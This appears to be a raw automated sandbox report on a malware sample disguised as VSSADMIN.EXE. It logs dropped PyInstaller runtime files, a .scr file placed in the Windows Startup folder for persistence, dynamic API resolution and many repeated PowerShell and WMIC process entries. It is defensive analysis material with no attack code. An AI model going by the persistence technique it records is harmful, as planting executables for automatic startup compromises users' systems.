Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\python311.dll	Jump to dropped file
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI68562\VCRUNTIME140.dll	Jump to dropped file

Boot Survival

Drops PE files to the startup folder

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr

Jump to dropped file

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr

Jump to behavior

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr

Jump to behavior

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

Code function: 0_2_00007FF614C73E10 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00007FF614C73E10

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
